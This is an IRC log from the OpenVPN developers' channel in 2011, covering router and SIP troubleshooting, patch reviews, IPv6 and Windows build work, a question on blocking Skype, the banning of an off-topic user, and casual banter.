<+krzie> ipcalc.sh iptables 02:57 <+krzie> iptables supports multiple tables right? if i made a rule that depended on that it would show if the kernel knew about it...? 02:57 <+janjust> hmmm iptables tables are not the same as 'ip rule' tables 02:58 <+janjust> actually, I don't think it will be a multiple routing tables issue 02:58 <+janjust> as you said, it happens only on a single ddwrt box 02:58 <+krzie> well so far 02:58 <+janjust> you need to explicitly configure multiple tables - can't happen by accident 02:58 <+krzie> its the only one with any decent amount of time up 02:58 <+krzie> theres others that havnt exhibited it, but havnt had as much time either 02:59 <+janjust> ah OK; well, gotta go here 02:59 <+krzie> thank you 03:00 <+janjust> let me know how things progress 03:00 <+janjust> I'll try to drop in here a bit more often :) 03:00 <+krzie> will sniff out the offending traffic when it happens next 03:00 <+janjust> << out 03:00 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 03:02 <@dazo> krzie: okpg update ; opgk install ip 03:04 <+krzie> root@OpenWrt:~# okpg update 03:04 <+krzie> -ash: okpg: not found 03:04 <+krzie> and 372K avail 03:04 <+krzie> these are 4MB routers, i had to generate my own firmware just to get openvpn on them 03:04 <+krzie> took off the web UI 03:08 <@dazo> yeah, that's tiny ... but I think the IP packages is ~100kb 03:09 <@dazo> might be even less 03:09 <@dazo> but you also kicked out the package manager then :) 03:10 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Ping timeout: 240 seconds] 03:12 <@dazo> krzie: is it wrt54gl? 03:12 <+krzie> d-link DIR-615 rev-e3 03:13 <@cron2> krzie: how much is that? 03:13 <@cron2> $$? 03:14 <@cron2> I like to use the TP-Link TL-1043ND - 8 Mb flash, and around 45 EUR here 03:14 * dazo loves his TL-1043ND 03:14 <@cron2> router vendors with just 4MB should not be supported by buying that crap... 03:14 <@cron2> (but anyway, need to run, customer appointment... see ya later) 03:14 <+krzie> $35 03:14 <+krzie> USD 03:15 <@dazo> Even installed syslog and does all logging to a USB flash disk, to easier see why something breaks if a reboot is required 03:16 <@dazo> krzie: http://downloads.openwrt.org/backfire/10.03/ar71xx/packages/ip_2.6.29-1-2_ar71xx.ipk ... it's a standard tar.gz file, but you'll need to figure out how to sneak that one into the router, then you'll get '/sbin/ip' 03:17 <@dazo> (most probably just to extract the contents of data.tar.gz inside that .ipk file 03:17 <@dazo> Installed-Size: 208210 03:33 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 03:33 -!- mode/#openvpn-devel [+o raidz] by ChanServ 03:47 <@dazo> mattock: ecrist: logging into the forum now is uber-slow ... if not completely failing ... 03:48 <@mattock> dazo: it's failing, I'm having a chicken and egg issue with openvpn+ldap 03:48 <@mattock> I'm reverting back to old config atm 03:48 <@dazo> ahh, okay! 03:48 * dazo waits with login then 03:49 <@mattock> it should work now 03:49 <@mattock> for some reason chantra's LDAP auth plugin did not authenticate properly against the new LDAP, not sure why 03:50 <@mattock> all other services have worked just fine since yesterday, though 03:50 <@dazo> yupp! works now 03:50 -!- uuuppz [~uuuppz@213.79.53.61] has joined #openvpn-devel 03:50 -!- mode/#openvpn-devel [+o uuuppz] by ChanServ 04:01 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Ping timeout: 245 seconds] 04:12 <@mattock> hmm, the version of openvpn-ldap-auth from Git fails to authenticate, but the old version used on community works ok 04:12 <@mattock> I guess that's both good and bad :) 04:13 -!- dazo is now known as dazo_afk 04:22 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 04:22 -!- mode/#openvpn-devel [+o raidz] by ChanServ 04:58 -!- dazo_afk is now known as dazo 05:50 <@mattock> ok, next try at openvpn server migration... 06:17 <+krzie> 04:15:39.593799 IP 192.168.1.75.sip > 10.8.69.1.3478: SIP, length: 20 06:17 <+krzie> damn, it is SIP 06:17 <+krzie> time to throw my stun server in debug mode 06:18 < novaflash> set phasers to stun. 06:20 <+krzie> hrm, still, makes no sense 06:20 <+krzie> its hitting my stun server with a 192.168.1.75 source address, stun server is 10.8.69.1 (vpn server ip) 06:21 <+krzie> 1.75 is the eth1 ip 06:54 <+krzie> http://pastebin.com/qXyGkdtp 07:16 <+ecrist> we don't give a fuck about your freeswitch box, krzie 08:55 <@dazo> krzie: maybe you need siproxd? 08:55 <@dazo> SIP + NAT is a big hassle 08:56 * dazo is looking fwd to his SIP providers beginning to provide SIP over IPv6 09:01 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 252 seconds] 09:09 <+ecrist> use do NAT with SIP all the time 09:11 <+ecrist> s/use/we/ 09:20 <@dazo> I have two SIP users, from two different subnets, going through the same firewall against the same SIP provider ... the firewall log is quite an interesting read, esp during calls ... When I get time, I'll probably set up an internal Asterix server which tackles all the SIP stuff 09:36 -!- Netsplit *.net <-> *.split quits: @d12fk, jamxNL, @uuuppz 09:42 -!- uuuppz [~uuuppz@213.79.53.61] has joined #openvpn-devel 09:42 -!- mode/#openvpn-devel [+o uuuppz] by ChanServ 09:44 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has joined #openvpn-devel 09:44 -!- jamxNL [jamx@2a01:4f8:140:5243::1234] has joined #openvpn-devel 09:44 -!- ServerMode/#openvpn-devel [+o d12fk] by zelazny.freenode.net 10:19 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 10:19 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 10:19 -!- mode/#openvpn-devel [+v krzie] by ChanServ 11:39 <@raidz> pdate 11:52 <+ecrist> 8==> Aug 26, 2011 11:52 <@raidz> haha, oops 11:57 <+krzie> ecrist, its that bug where people get the MULTI error when not trying to share their lan... ive wanted to know why some people get this issue in linux, but never had access to a machine that was showing the issue 11:58 <+ecrist> what do you mean? 11:58 <+krzie> surely you've seen a few go unhelped with that issue where they send traffic out tun0 with their eth0 ip 11:58 <+ecrist> yeah, oh, you mean your issue earlier. 11:58 * ecrist was way out of context 11:58 <+krzie> talking about that freeswitch server stuff 11:58 <+krzie> yes 12:07 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 12:50 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 13:17 -!- raidz [~Administr@openvpn/corp/admin/andrew] has left #openvpn-devel [] 13:17 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 13:17 -!- mode/#openvpn-devel [+o raidz] by ChanServ 13:29 -!- dazo is now known as dazo_afk 14:08 -!- novaflash is now known as fishbot 14:08 -!- fishbot is now known as novaflash 14:12 -!- novaflash is now known as swg0101 14:12 -!- swg0101 is now known as novaflash 14:21 -!- raidz is now known as swg0101 14:21 -!- novaflash is now known as raidz 14:21 -!- raidz is now known as novaflash 14:21 -!- swg0101 is now known as raidz 14:42 -!- novaflash is now known as swg0102 14:48 -!- swg0102 is now known as novaflash 14:56 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 14:56 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:59 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:59 -!- mode/#openvpn-devel [+v krzie] by ChanServ 15:35 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 15:59 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 19:25 -!- uuuppz [~uuuppz@213.79.53.61] has quit [Ping timeout: 245 seconds] 21:15 -!- krzee [krzee@openvpn/community/support/krzee] has left #openvpn-devel ["Leaving"] 21:20 -!- uuuppz [~uuuppz@213.79.53.61] has joined #openvpn-devel 21:20 -!- mode/#openvpn-devel [+o uuuppz] by ChanServ 22:23 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:23 -!- mode/#openvpn-devel [+v krzee] by ChanServ 22:49 -!- uuuppz [~uuuppz@213.79.53.61] has quit [Ping timeout: 252 seconds] 22:59 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 23:03 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:03 -!- mode/#openvpn-devel [+v krzee] by ChanServ 23:22 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] --- Day changed Sat Aug 27 2011 01:37 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 01:37 -!- mode/#openvpn-devel [+v krzee] by ChanServ 04:55 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 04:55 -!- mode/#openvpn-devel [+o cron2] by ChanServ 05:06 -!- uuuppz [~uuuppz@213.79.53.61] has joined #openvpn-devel 05:07 -!- mode/#openvpn-devel [+o uuuppz] by ChanServ 05:15 -!- uuuppz [~uuuppz@213.79.53.61] has quit [Ping timeout: 240 seconds] 05:19 -!- uuuppz [~uuuppz@213.79.53.61] has joined #openvpn-devel 05:19 -!- mode/#openvpn-devel [+o uuuppz] by ChanServ 05:38 <@uuuppz> just as an assside 05:38 <@uuuppz> I notice problems on ovpn coming out of hibernation 05:38 <@uuuppz> pretty much every time 05:39 <@uuuppz> but wots odd is it appears to go through the restart sequence 05:55 <@cron2> uuuppz: yeah, d12fk and janjust have been working on that 07:30 -!- novaflash [~notme@openvpn/user/novaflash] has quit [] 08:14 <@uuuppz> we any clue whats causing it? 08:47 -!- novaflash [~notme@openvpn/user/novaflash] has joined #openvpn-devel 09:36 -!- uuuppz [~uuuppz@213.79.53.61] has quit [] 10:35 -!- uuuppz [~uuuppz@78.129.207.46] has joined #openvpn-devel 10:35 -!- mode/#openvpn-devel [+o uuuppz] by ChanServ 12:41 <@cron2> uuuppz: not me, I have not followed the discussions closely "I have no windows machine here"... 12:44 <@uuuppz> hm? 13:47 <@cron2> I have no clue, because I haven't followed the discussion between dazo, d12fk and janjust - as I don't use windows, I don't particularily mind any windows problems 14:04 <@uuuppz> ah ok 14:04 < novaflash> anyone here have any experience setting up openvpn on android? 14:05 < novaflash> am screwing around with an htc desire :) --- Log closed Sun Aug 28 04:01:52 2011 --- Log opened Tue Aug 30 07:36:35 2011 07:36 -!- ecrist [~ecrist@openvpn/community/support/ecrist] has joined #openvpn-devel 07:36 -!- Irssi: #openvpn-devel: Total of 16 nicks [8 ops, 0 halfops, 2 voices, 6 normal] 07:36 -!- mode/#openvpn-devel [+v ecrist] by ChanServ 07:36 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 07:36 <+ecrist> stupid freenode 08:44 <@mattock> axeman: yeah 10:07 -!- novaflash [~notme@openvpn/user/novaflash] has joined #openvpn-devel 12:03 <@cron2> dazo: huh? no, haven't seen anything. 12:04 <@dazo> cron2: http://thread.gmane.org/gmane.network.openvpn.devel/4957 12:04 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 12:04 <@cron2> ah, now. 12:04 <@cron2> haven't read all my private mail so far, will look at it tomorrow-evening-ish 12:04 <@dazo> this looks very similar to something we've discussed before I believe 12:05 <@dazo> but I can't recall which patch it was now, not even if it got NACKed or ACKed 12:05 <@cron2> no, that was something different (and, ISTR, for IPv4 :) ) 12:05 <@cron2> default-gateway-as-interface if all you had was "to ppp0" 12:06 <@cron2> this patch looks a bit, uh, unneccessary, since "if you know the tun device, you do not need to know the gateway address" (since there is nothing but "the other end") 12:06 <@dazo> ahh! yeah! Now I recall it ... I just had the alarms ringing when modifying route and ip route syntaxes 12:06 <@cron2> but it might be useful for TAP 12:06 <@cron2> need to think about it with less of a hurry (I'm already 5 minutes late). *running* 12:07 <@dazo> cron2: run! take it when you have time :) 12:24 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 13:16 -!- novaflash [~notme@openvpn/user/novaflash] has quit [Remote host closed the connection] 13:17 -!- novaflash [~notme@openvpn/user/novaflash] has joined #openvpn-devel 13:17 -!- dazo is now known as dazo_afk 14:45 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 15:20 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 16:37 <@uuuppz> my ui seems to be getting a fair number of downloads 16:37 <@uuuppz> 58 for the current revision 16:38 < novaflash> uuuppz: half of those are mine. no, just kidding. haven't had a chance to testrun. 16:39 <@uuuppz> sry 68 16:39 <@uuuppz> considering I only announcd it in here 16:39 <@uuuppz> thats quite a lot :) 17:12 <@vpnHelper> RSS Update - tickets: #159: Packet Dropped over routed tunnel (always the same packet) <https://community.openvpn.net/openvpn/ticket/159> 17:35 -!- waldner [~waldner@unaffiliated/waldner] has quit [Ping timeout: 260 seconds] --- Log closed Tue Aug 30 17:44:17 2011 --- Log opened Wed Aug 31 07:24:25 2011 07:24 -!- ecrist [~ecrist@openvpn/community/support/ecrist] has joined #openvpn-devel 07:24 -!- Irssi: #openvpn-devel: Total of 15 nicks [8 ops, 0 halfops, 1 voices, 6 normal] 07:24 -!- mode/#openvpn-devel [+v ecrist] by ChanServ 07:24 -!- Irssi: Join to #openvpn-devel was synced in 0 secs 11:32 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 12:08 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 12:08 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:22 <@cron2> dazo: have you seen d12fk's patch regarding NtDDNdis.h? 12:22 <@dazo> cron2: I just noticed it ... was considering to ACK it 12:26 <@dazo> cron2: could you re-check all ACKs in the "fix building for WIN32" stuff there ... it was a macro discussion, and d12fk provided a new patch doing memcmp() ... I see that patch 2/2 is NAKed and should be fixed by now, with the final merger (or have I slipped one of your patches again?) 12:33 <@cron2> patch2/2 was the 32bit accessor issue, that had an earlier patch from me which you *should* have... :-) 12:33 <@cron2> patch1/2 - go with d12fk's latest version... 12:33 <@dazo> yeah, I know ... I just wondered if it was merged in now (I thought it was in the tmp/winbuild fix branch) ... 12:34 <@dazo> duh! 12:34 <@dazo> you attached it! 12:34 * dazo is slow 12:34 <@cron2> I've sent it 473 times to the list now! 12:34 <@dazo> hehe ... I draw the line at 500! ;-) 12:35 <@cron2> how does your add_in6_addr() function look like (in socket.c)? 12:35 <@cron2> if it has "register int carry" it's the new one, if not, please merge :) 12:35 <@dazo> I see commit 1ffdb2c9662c3af1f992183435b1afb006dfdc6c ... isn't that it? 12:36 <@cron2> no, mine is 12616699b956b36a304d7d9b58c861ef8a9d27cf 12:36 <@cron2> Replace 32-bit-based add_in6_addr() implementation by an 8-bit based one 12:37 <@dazo> git branch --contains 1ffdb2c9662c3af1f992183435b1afb006dfdc6c 12:37 <@dazo> * master 12:37 <@dazo> I think it came in when I merged in the tmp/winbuildfix branch 12:40 <@vpnHelper> RSS Update - testtrac: lowercase include header name in syshead.h <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=a18c2b025c851a50bd2df33af5bad99b467da595> 12:41 * cron2 gets a new git clone from openvpn-testing 12:41 <@dazo> :) 12:41 <@dazo> git fetch ... and git rebase should get you up-to-speed, though 12:41 <@cron2> mmmh, that's the one, but it has a different commit id 12:42 <@dazo> then you haven't rebased your tree 12:42 <@cron2> most likely because it's based on something else 12:42 <@dazo> yeah 12:42 <@cron2> yeah, the git repo where I checked is "slightly" oldish 12:42 <@dazo> that commit is probably your own local version 12:42 <@cron2> yep 12:42 <@cron2> but the function is what it should be - maximum portability, no more weird platform workarounds 12:43 <@dazo> I'll add you as ACKer of d12fk's define IN6_ADDR_EQUAL.... stuff 12:43 <@cron2> and with d12k's patches merged in, we should have something to make mattock happy now :-) 12:43 <@cron2> ACK :) 12:45 <@uuuppz> hi 12:45 <@uuuppz> u guys are the only ones who didn't annoy me today! 12:46 * uuuppz spent the day yelling at ppl 12:46 < novaflash> uuuppz: your life is so hard. come here and gimme a hug. have they been mean to you? 12:46 <@uuuppz> ah ppl were being idiots 12:46 <@uuuppz> but I had a short temper 12:47 <@uuuppz> which each idiot shortened along the way 12:47 < novaflash> uuuppz, did you fix problem X? "GO AWAY!!" but we really need this fixed NOW NOW NOW "MMRRRUUAAAAAAAAAAAAARGGHH!!!! *turns into HULK* 12:48 < novaflash> or so i imagine it went anyways 12:48 <@uuuppz> I'm the boss, I'm allowed to get unreasonably annoyed sometimes :) 12:48 <@uuuppz> a shot in the dark here 12:49 < novaflash> ow 12:49 <@uuuppz> but anyone have experience blocking skype from a network 12:49 < novaflash> you hit me 12:49 <@uuuppz> without using one of the hugely expensaive firewall products 12:49 <@uuuppz> or a way of disrupting it enough to make it unconfrotable 12:49 <@dazo> it's supposed to be a pretty simple thing with l7 filtering with iptables ... it's enough with identifying a couple of bytes in the header, somehow 12:50 <@uuuppz> any hints where to look 12:50 <@dazo> make the fw disconnect all sessions lasting longer than 5 min? 12:50 <@uuuppz> did a bit of google but found nothing concrete nd recent 12:50 <@uuuppz> not really acceptable 12:50 <@dazo> :) 12:50 <@vpnHelper> RSS Update - testtrac: define IN6_ARE_ADDR_EQUAL macro for WIN32 <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=82167eb2ecfda2ddfbe9899ff7a58b13fac23a60> 12:50 <@uuuppz> would annoy me to much! 12:51 < novaflash> i suppose you could hang up a sign that says "beware those who uses Skype in this network" and perhaps a sign next to it " '0' days since last skype-user was murdered here" 12:52 -!- d12fk- [~heiko@exit0.net] has joined #openvpn-devel 12:52 -!- mode/#openvpn-devel [+o d12fk-] by ChanServ 12:52 <@uuuppz> http://l7-filter.sourceforge.net/protocols 12:52 <@vpnHelper> Title: L7-filter Supported Protocols (at l7-filter.sourceforge.net) 12:52 <@dazo> uuuppz: http://l7-filter.sourceforge.net/layer7-protocols/protocols/skypetoskype.pat and http://l7-filter.sourceforge.net/layer7-protocols/protocols/skypeout.pat 12:52 <@uuuppz> thats what I found 12:52 <@dazo> http://l7-filter.sourceforge.net/protocols 12:52 <@uuuppz> ah yeh 12:52 <@vpnHelper> Title: L7-filter Supported Protocols (at l7-filter.sourceforge.net) 12:52 <@uuuppz> but that project has been moved to 12:52 <@uuuppz> http://l7-filter.clearfoundation.com/ 12:52 <@vpnHelper> Title: l7-filter | ClearFoundation (at l7-filter.clearfoundation.com) 12:52 <@dazo> ahh, true 12:52 <@uuuppz> http://www.clearfoundation.com/component/option,com_kunena/Itemid,232/catid,20/func,view/id,19018/ 12:53 <@vpnHelper> Title: Block Skype - ClearFoundation (at www.clearfoundation.com) 12:53 <@uuuppz> and found this post 12:53 <@uuuppz> which tends to indicate it can't be done with this thing at present 12:54 <@d12fk-> is there a meeting going on? 12:55 <@dazo> d12fk-: nope, not really, just adhoc :) 12:55 <@d12fk-> ok, so the more sophisticated patches will have to wait for james'' ack 12:55 <@dazo> d12fk-: which one? 12:56 <@d12fk-> auto proxy e.g. 12:57 <@dazo> yeah, I just saw them in my mail now ... yeah, I don't dare touch too much of the intricate windows stuff, as I'm not on that platform 12:57 <@d12fk-> sure no prob 12:58 <@dazo> I just ACK what's "bleeding obvious" when looking at the patches for win 12:58 <@d12fk-> little feedback from the ones on windows so far though 12:58 <@d12fk-> i gues master id too bleeding edge for the most 12:59 <@dazo> d12fk-: I think mattock will soon manage to build a snapshot installation of 2.3 for Windows ...then things will probably happen more easily 12:59 <@d12fk-> i'll post a linux patch ye, alright? =) 12:59 <@dazo> please do :) 13:00 <@uuuppz> re the proxy stuff 13:00 <@uuuppz> does proxying work only for tcp? 13:00 <@uuuppz> or does it do udp through socks? 13:00 <@d12fk-> udp as well 13:00 <@d12fk-> if there is a socks server in the list 13:00 <@dazo> d12fk-: if you can provide some info stuff to mattock he might be able to build an installer with your updated GUI even, that'd be great to get out 13:01 <@d12fk-> wpad for socks does not work unfortunately 13:01 <@d12fk-> wait for the service patch please, that'll boost it 13:01 <@d12fk-> or when is 2.3 due? 13:02 <@dazo> d12fk-: sure! any ETA? 13:02 <@d12fk-> soonish =) 13:02 <@d12fk-> i've the GOST thing going on 13:02 <@dazo> d12fk-: 2.3 due .... when we feel ready :) 13:02 <@dazo> GOST? 13:02 <@d12fk-> so soonish as well, fits the service schedule =) 13:02 <@d12fk-> the russian crypto thingy 13:03 <@dazo> ahh! true! 13:03 <+krzee> will 2.3 have --server-ipv6? 13:03 <@dazo> krzee: yes 13:03 <+krzee> woooo 13:03 * krzee hands out high 5's 13:03 * dazo presumes that's already implemented in cron2's patches 13:03 * dazo checks his router 13:04 <+krzee> ya thats from his patches 13:04 <@dazo> yeah! it's in ... I use it on my TP-link router with openvpn 13:05 <@dazo> I should probably compile a new snapshot for me to use on a daily basis again ... current one is getting dated, but has been stable ... have been running 3 tunnels in parallel at most, where 1 provides me with IPv6 access 13:05 <@uuuppz> proxy is just a param 13:05 <@d12fk-> dazo: linux patch on the way 13:05 <@uuuppz> when launfching openvpn.exe? 13:06 * dazo wonders if cron2 decided to review the patch from Scott Zeid today or not .... 13:07 <@dazo> d12fk-: would you mind reviewing the patch set from Betrand Jacquin? (Allow to fill Details tab for exe files) 13:09 <@d12fk-> dazo: can do, not sure if tomorrow or next week 13:09 <@dazo> d12fk-: that's good enough for me, so thx a lot! :) 13:09 <@d12fk-> he seems to know what hes doing had to do with him on the gui side as well 13:09 <@d12fk-> ok i'll be gone then, cu tomorrow 13:10 -!- d12fk- [~heiko@exit0.net] has left #openvpn-devel ["grocery shoppn"] 13:13 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:13 -!- mode/#openvpn-devel [+v krzie] by ChanServ 13:30 <@vpnHelper> RSS Update - testtrac: add --mark option to set SO_MARK sockopt <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=d90428d141102a646a20b1310de1716621e32bd6> 13:42 <@cron2> dazo: not yet (review the patch, that is). Well, I reviewed it, it's not needed for tun, but haven't checked the rest of the infrastructure for whether it would fix the tap route problems... 13:42 <@cron2> "needs more brains" 13:43 <@dazo> goodie, then I know 13:45 -!- dazo is now known as dazo_afk 16:04 -!- novaflash [~notme@openvpn/user/novaflash] has quit [Ping timeout: 240 seconds] 16:05 -!- novaflash [~notme@openvpn/user/novaflash] has joined #openvpn-devel 16:12 -!- novaflash [~notme@openvpn/user/novaflash] has quit [] 16:13 -!- novaflash [~notme@openvpn/user/novaflash] has joined #openvpn-devel 16:14 <+krzee> 2.2.1 for windows has ENABLE_PASSWORD_SAVE defined in config-win32.h, right? 18:51 <+ecrist> yes, I think it does 19:03 -!- rommel092079 [~vpnuser@119.93.51.34] has joined #openvpn-devel 19:04 < rommel092079> guys can I ask here about my project but not particularly on openvpn? 19:04 <@uuuppz> no 19:04 -!- rommel092079 [~vpnuser@119.93.51.34] has quit [Client Quit] 19:04 <@uuuppz> I mean wtf 19:05 <@uuuppz> thats like 19:06 <@uuuppz> "when no ones there and a tree falls in a forest, does it make a sound?" tailoured to the chan 19:09 -!- rommel092079 [~vpnuser@119.93.51.34] has joined #openvpn-devel 19:09 <@uuuppz> romel: When a tree falls in a forest, but no one is there. Does it make a sound? 19:10 <+ecrist> rommel092079: ask your questions 19:10 <@uuuppz> hi ecrist :) 19:10 < rommel092079> thanks. 19:11 < rommel092079> its about icmp. I am reading the script of ptunnel about ping tunneling since openvpn has not yet implemented icmp tunneling. 19:12 < rommel092079> It stated there bandwidth and connection can be tweaked using the window size from 64 value 19:12 < rommel092079> and so I increased the value from 64 to higher value 19:13 < rommel092079> but I dont know if other values are affect like the kDefault_buf_size, kIP_packet_max_size, kICMP_header_size, etc 19:13 < rommel092079> will you assist me on this? 19:14 <+ecrist> no 19:15 <+ecrist> you were here before, we told you to go away then. the sentiment remains. 19:16 < rommel092079> I dont get it why you dont want to assist me on this question that you guys could have the capability to answer. 19:16 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 19:16 -!- mode/#openvpn-devel [+b *!*@119.93.51.34] by ecrist 19:18 -!- rommel092079 [~vpnuser@119.93.51.34] has quit [] 19:20 <@raidz> wow 19:20 <@raidz> lol 19:20 <@raidz> he must have done something to piss you off earlier 19:20 <@raidz> lol 19:20 <@ecrist> he's been here a LOT 19:20 <@ecrist> asking about openvpn over icmp 19:20 <@raidz> ahh, he is one of those types 19:20 <@ecrist> don't worry, he's good at avoiding bans 19:21 <@raidz> haha 19:21 <@ecrist> he's the reason this channel is +r 19:21 <@uuuppz> really? 19:24 <@ecrist> yup 19:26 -!- mode/#openvpn-devel [-o ecrist] by ecrist 19:26 <+ecrist> well, I need to jet, have a bathroom to paint. 20:51 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 23:11 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:11 -!- mode/#openvpn-devel [+v krzie] by ChanServ --- Day changed Thu Sep 01 2011 01:45 <@vpnHelper> RSS Update - testtrac: Minor fix to CC_PRINT char class -- treat DEL (ascii 127) <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=8cfa4ebddcfa46ba04705b0291a91d2ac88ab27e> 03:52 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 03:54 -!- dazo_afk is now known as dazo 04:40 -!- Netsplit *.net <-> *.split quits: @uuuppz, EvilJStoker 04:49 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 04:49 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has quit [Remote host closed the connection] 05:27 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has joined #openvpn-devel 05:27 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 06:31 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 06:31 -!- mode/#openvpn-devel [+v krzie] by ChanServ 06:47 * dazo just replied (gently) to a guy who asked: "I have done all which the documentation says, how do I know if I'm done and how do I use it?" 06:57 <+ecrist> lol 07:02 <+krzie> hmm, but if he didnt know the answer to that why was he setting one up 07:30 <@dazo> I hope it was just a language thing, he definitely was not a native speaker ... but I'm curious how this goes 07:31 < novaflash> i have read all the documentation; now how do i make it work? ;) 07:31 < novaflash> classic! 07:32 <@dazo> that might indeed be what s/he asked! 07:32 < novaflash> couple of days ago a client said; i installed everything but i'm still missing some things. 07:32 <@dazo> maybe I was just missing one last sentence in the documentation too ... "You are done, start up openvpn" 07:33 < novaflash> makes me smile to hear these things. 07:33 <@dazo> hehehe 07:33 < novaflash> apt-get install * 07:33 <@dazo> lol 07:33 < novaflash> apt source: http://www.google.nl/* 07:34 < novaflash> this will take up approx. 10600 petabytes. do you want to continue? 07:34 <@dazo> let's hope he won't miss anything with that approach ... :-P 07:35 < novaflash> yesterday there was something in the news about 'hidden' websites being found and removed by police in an investigation into a guy suspected of having child porn on his computers. they found around 220.000 pictures and videos. glad they got rid of it. the point is; it was 'hidden' only in the sense that it was never added to google or mentioned anywhere where google has reign. 07:36 <@dazo> oh dear ... there's more things which is wrong here ... but being 'hidden' due to not being found via google is the hilarious mistake 07:37 < novaflash> that just seems strange to me. that cops can't find things that aren't on google. that they have to have one of the users' computers to get to it. are they that incompetent? 07:37 <@dazo> I'm wondering about the same 07:37 < novaflash> weeell... glad they got rid of it anyways 07:38 < novaflash> there are a couple of things i cannot abide in life. kiddie porn and a lack of cheese. 07:38 <@dazo> I heard about a server room raid which the police did (forgot where) ... but they didn't notice that above the ceiling, the real disks were stored ... and they used wifi to communicate with the servers which the police took ... they looked at servers and found nothing interesting 07:38 <+krzie> s/cheese/weed/ and we're in the same boat 07:39 < novaflash> dazo; that is...wow. 07:39 <@dazo> well, that's a clever trick though :) 07:39 <+krzie> wow, pretty slick 07:40 < novaflash> i want wireless harddrives too, now 07:40 < novaflash> for all my linux iso images, you understand 07:40 < novaflash> nothing at all to do with thepiratebay 07:40 <+krzie> haha 07:41 <@dazo> I've recently bought a HP ProLiant MicroServer for home usage ... stuffed it with 4 drives and 8G RAM ... and it even runs KVM pretty nice ... probably can't load it with too many VMs, but should be able to tackle 4-5 07:41 < novaflash> dazo; ah yes i've heard of those 07:41 < novaflash> of course they had to come out just after i'd bought an ml150 07:41 <@dazo> hehe! typical! 07:42 < novaflash> what kind of specs? 8gig ram, 4sata bays? 07:42 <@dazo> yeah, AMD NL36, something ... dual core 07:42 < novaflash> ah dual 07:42 < novaflash> i've got a quadcore xeon in mine 07:42 < novaflash> so i guess it is a LITTLE bit better then 07:42 < novaflash> i feel better about my purchase now 07:42 <@dazo> yeah, that's a lot better :) 07:43 <@dazo> but I guess you paid quite more for yours ... and I can have mine in the living room without having a complaining wife :) 07:44 < novaflash> i can have mine in the living room without having a complaining wife. 07:44 < novaflash> that's because i don't have a wife 07:44 < novaflash> but point taken 07:44 < novaflash> (my girlfriend would complain) 07:44 <@dazo> but tbh ... I would like more CPU power :) 07:44 < novaflash> hey are you a tech guy or not? 07:45 < novaflash> just connect the mains straight to the CPU and plug some extra clocks in 07:45 <@dazo> heh ... I'm more a software guy :) 07:45 < novaflash> you know, for overclocking 07:45 <@dazo> haha :) 07:45 < novaflash> by the way 07:45 < novaflash> ever heard of that incident in a datacenter in the netherlands 07:45 < novaflash> few years back 07:45 <@dazo> probably not 07:45 < novaflash> the fire extinguishing system was activated (gas-based) 07:46 < novaflash> and the overpressure blew out a wall 07:46 <@dazo> ouch! 07:46 < novaflash> cardboard man, must have been like that ;) 07:46 < novaflash> anyways.. big disaster 07:46 < novaflash> because then oxygen came in, firemen showed up, used foam 07:46 < novaflash> whole room ruined 07:47 < novaflash> awesome example of how IT can go wrong 07:47 <@dazo> wow! that's pretty massive 07:47 < novaflash> yeah. they use gas extinguishing specifically to prevent damaging the equipment 07:47 < novaflash> but if the wall blows out - ha! 07:48 < novaflash> turns out though it was obviously a construction flaw 07:48 < novaflash> that construction firm probably had a small legal and financial problem 07:49 